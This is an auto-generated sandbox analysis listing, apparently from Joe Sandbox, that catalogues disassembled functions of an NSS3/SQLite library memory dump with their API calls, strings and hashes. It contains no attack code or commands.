sqlite3_free.NSS3(?), ref: 6C58FEEE

Strings

simple, xrefs: 6C58FC79

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: d403a901bd2e8aed4942600db07ce9d1a8c54f57c4c70382decf1b89ad731140
Instruction ID: f1abc00e243cec7c34124d22a97e3a78c435b9824ce30eae093ad49cb25df008
Opcode Fuzzy Hash: d403a901bd2e8aed4942600db07ce9d1a8c54f57c4c70382decf1b89ad731140
Instruction Fuzzy Hash: A89151B0A02215DFDB04CF55CC80A6AB7F1FF89318F24C668D9199BB52E735E951CBA0

Function 6C595CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C595EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C595EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C595ED1
%s at line %d of [%.10s], xrefs: 6C595EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C595E64
invalid, xrefs: 6C595EBE
API call with %s database connection pointer, xrefs: 6C595EC3
misuse, xrefs: 6C595EDB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 771021cb757d2d7fbdb8234d25aeaef6c2cec1c60feaf94865ff4be66b8ed170
Instruction ID: 74270e640c9f5b0e11ca9c201247af7e889867679e48c0f82c3d5fbdd4516186
Opcode Fuzzy Hash: 771021cb757d2d7fbdb8234d25aeaef6c2cec1c60feaf94865ff4be66b8ed170
Instruction Fuzzy Hash: F481DF70B067819BEB19CF25CC48B6A7370BF4131AFA807E8D8155BB61C730E966CB91

Function 6C57DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C57DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C57DE52, 6C57DE81
database corruption, xrefs: 6C57DE5C, 6C57DE8B
%s at line %d of [%.10s], xrefs: 6C57DE61, 6C57DE90

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 91a42881e3b513e5a998c5ece766d0f401b35025409d13fcb16047a67d495503
Instruction ID: d756c454773893eba248f52dcb91202399d9339e4ad7bf79ecd524acdb17abd1
Opcode Fuzzy Hash: 91a42881e3b513e5a998c5ece766d0f401b35025409d13fcb16047a67d495503
Instruction Fuzzy Hash: FA81A1716043009FD724CF25CD84B6A77F1AF85318F15886DE89A8BB91EB35E885CB62

Function 6C52CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C52B999), ref: 6C52CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C52B999), ref: 6C52D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C52B999), ref: 6C52D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C52B999), ref: 6C67972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C52CFDD, 6C52D00E, 6C52D022, 6C52D033, 6C679780
database corruption, xrefs: 6C52CFE7, 6C52D013, 6C52D028, 6C52D039, 6C52D03E, 6C679786
%s at line %d of [%.10s], xrefs: 6C52CFEC, 6C52D018, 6C52D029, 6C52D03F, 6C67978B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 711dd0f70dfbf913542b4ce81d124b802870c0eab8e3c1dede12d4d91acd29ec
Instruction ID: 7f67e36ceb276d492b315c0a54b85388a358dc420aa6fb941699e057ed36dfdd
Opcode Fuzzy Hash: 711dd0f70dfbf913542b4ce81d124b802870c0eab8e3c1dede12d4d91acd29ec
Instruction Fuzzy Hash: EA613971A042108BD320CF29CC40BA6B7F5EF95319F58856DE4489FB82E37AE847C7A5

Function 6C62FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C635B40: PR_GetIdentitiesLayer.NSS3 ref: 6C635B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C630113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C630130
PORT_Alloc_Util.NSS3(00000040), ref: 6C63015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6301AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C630202
free.MOZGLUE(?), ref: 6C630224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C630253

Strings

exporter, xrefs: 6C6300F7

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: dad6906d053dda8580828cb3c2b4d303dd59f0f7ca543872f23eb6a3d77dfb1f
Instruction ID: 2387ce6af96fc6ad94a0401694624ab4dcd0fa33bc54d9bd8154e872140278d8
Opcode Fuzzy Hash: dad6906d053dda8580828cb3c2b4d303dd59f0f7ca543872f23eb6a3d77dfb1f
Instruction Fuzzy Hash: C8612471D043999BEF018FA4CC00BEE77B6FF8930CF146228E91E56661E731A958CB49

Function 6C604DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C60536F,00000022,?,?,00000000,?), ref: 6C604E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C604F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C604F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C604FAE
free.MOZGLUE(?), ref: 6C604FC8

Strings

%s=%s, xrefs: 6C604F89
%s=%c%s%c, xrefs: 6C604FA9
oS`l", xrefs: 6C604DFB, 6C604EF4, 6C604EC5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS`l"
API String ID: 2709355791-1759582836
Opcode ID: 32009d437ca03b9a3fc3314471f2c0b7b9729a9b111278afaa614427095af79b
Instruction ID: 424f24b5622bfb7793dd26bae22e4c1688db9d56f6a7771babb3a1e2b939fab0
Opcode Fuzzy Hash: 32009d437ca03b9a3fc3314471f2c0b7b9729a9b111278afaa614427095af79b
Instruction Fuzzy Hash: B5519C71B051458BEF29CA6AC6903FF7BF29FA2348F188165E890B7B41D37598068798

Function 6C62EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C64A4A1,?,00000000,?,00000001), ref: 6C62EF6D

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

htonl.WSOCK32(00000000,?,6C64A4A1,?,00000000,?,00000001), ref: 6C62EFE4
htonl.WSOCK32(?,00000000,?,6C64A4A1,?,00000000,?,00000001), ref: 6C62EFF1
memcpy.VCRUNTIME140(?,?,6C64A4A1,?,00000000,?,6C64A4A1,?,00000000,?,00000001), ref: 6C62F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C64A4A1,?,00000000,?,00000001), ref: 6C62F027

Strings

dtls13, xrefs: 6C62EF33

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 1c10a2638670cbfdcd847cdd61d709a3e90c36415bbe5a36d0b8e60f01d8752a
Instruction ID: c01d6127328247a4929be9560c7fa19bea4db85353ccb8e629eb19d42a83218b
Opcode Fuzzy Hash: 1c10a2638670cbfdcd847cdd61d709a3e90c36415bbe5a36d0b8e60f01d8752a
Instruction Fuzzy Hash: F231D071A01211ABC720DF38DC80B8AB7E4EF49349F258079E9189B751E735E915CBE9

Function 6C5AAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5AAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C6C9500,6C5A3F91), ref: 6C5AAFD2

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

DER_GetInteger_Util.NSS3(?), ref: 6C5AB007

Part of subcall function 6C5F6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C5A1666,?,6C5AB00C,?), ref: 6C5F6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C5AB02F
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5AB046
PL_FreeArenaPool.NSS3 ref: 6C5AB058
PL_FinishArenaPool.NSS3 ref: 6C5AB060

Strings

security, xrefs: 6C5AAFB8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 4cf92ade33d3d8cebdc5909ea81b8eafdd4f257892e68f64add9df237aecb536
Instruction ID: 4a926b3f3dcabd864cd441f504a4093e51bfa53e272912c101c82ecc67b56c2a
Opcode Fuzzy Hash: 4cf92ade33d3d8cebdc5909ea81b8eafdd4f257892e68f64add9df237aecb536
Instruction Fuzzy Hash: 40313571504304D7DB109F669C40BAE77A4BF8632CF104718E9B46BBC1E732914A8B9B

Function 6C5A3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C5A40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5A3F7F,?,00000055,?,?,6C5A1666,?,?), ref: 6C5A40D9
Part of subcall function 6C5A40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C5A1666,?,?), ref: 6C5A40FC
Part of subcall function 6C5A40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C5A1666,?,?), ref: 6C5A4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5A3ED6

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A3EEE

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5A3F02
PL_FreeArenaPool.NSS3 ref: 6C5A3F14
PL_FinishArenaPool.NSS3 ref: 6C5A3F1C

Part of subcall function 6C6064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C60127C,00000000,00000000,00000000), ref: 6C60650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5A3F27

Strings

security, xrefs: 6C5A3EBC

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 50b5e1755f9935ceb511122f04aeaa31390982da434c305b926fe524bf04ea3f
Instruction ID: 36dc0ba664b6f81f2bf45ed42990ac76d1e93e3ba7c0c7f11879d2a1591008fd
Opcode Fuzzy Hash: 50b5e1755f9935ceb511122f04aeaa31390982da434c305b926fe524bf04ea3f
Instruction Fuzzy Hash: 6821FBB2A04300ABD7148B55AC41F5B77A8BF8931CF04053DF959A7B41E730D918CB9E

Function 6C5DACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C5DACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5DAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5DAD23

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5DAD39

Strings

nkl, xrefs: 6C5DAD51, 6C5DAD7B
C_MessageDecryptFinal, xrefs: 6C5DACE1
hSession = 0x%x, xrefs: 6C5DACFE, 6C5DAD0E
(CK_INVALID_HANDLE), xrefs: 6C5DAD1C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nkl
API String ID: 332880674-3973460435
Opcode ID: bcb6e567ffe3900aeb9ba1fc20d84deef854bb81e504426bfa990033c90abfb5
Instruction ID: 6d3f43638aa7f7cce649d77a54c54c07cfe5da1c906bf247b5e98e2ab2043f54
Opcode Fuzzy Hash: bcb6e567ffe3900aeb9ba1fc20d84deef854bb81e504426bfa990033c90abfb5
Instruction Fuzzy Hash: 6821F8B1700244DFDB00EF68DD88B6B3775EB82319F454439E40AABA51DF34AC48CB9A

Function 6C5ECC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C5ECD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C5ECE16
PR_SetError.NSS3(00000000,00000000), ref: 6C5ED079

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: dc0dc8ebdddc091dab9d98faa4c1ebb67c8348b81e35a4d9a985a6a55ad4a5c3
Instruction ID: 8b0543a75364668cbb21628750f119b297c71c5842a58c9821d7e282ec54216d
Opcode Fuzzy Hash: dc0dc8ebdddc091dab9d98faa4c1ebb67c8348b81e35a4d9a985a6a55ad4a5c3
Instruction Fuzzy Hash: DAC17FB5A002199BDB11DF24CC80BDABBB4BF8C318F1441A8E958A7741E775EE95CF90

Function 6C5DDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C5E97C1,?,00000000,00000000,?,?,?,00000000,?,6C5C7F4A,00000000), ref: 6C5DDC68

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5DDFAA

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 66ed36b52dbee3c23072f9d31331926ec8d5be0dd8e0637e8489e27d54c854e0
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 54819F716467078BFB148E1DCC903697696DB61388F22883AD919CAFE1D774E484CE2E

Function 6C5B3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C5B3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5B3C94

Part of subcall function 6C5A95B0: TlsGetValue.KERNEL32(00000000,?,6C5C00D2,00000000), ref: 6C5A95D2
Part of subcall function 6C5A95B0: EnterCriticalSection.KERNEL32(?,?,?,6C5C00D2,00000000), ref: 6C5A95E7
Part of subcall function 6C5A95B0: PR_Unlock.NSS3(?,?,?,?,6C5C00D2,00000000), ref: 6C5A9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C5B3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C5B3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C5B3CE1

Part of subcall function 6C5B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5CAE42), ref: 6C5B30AA
Part of subcall function 6C5B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B30C7
Part of subcall function 6C5B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5B30E5
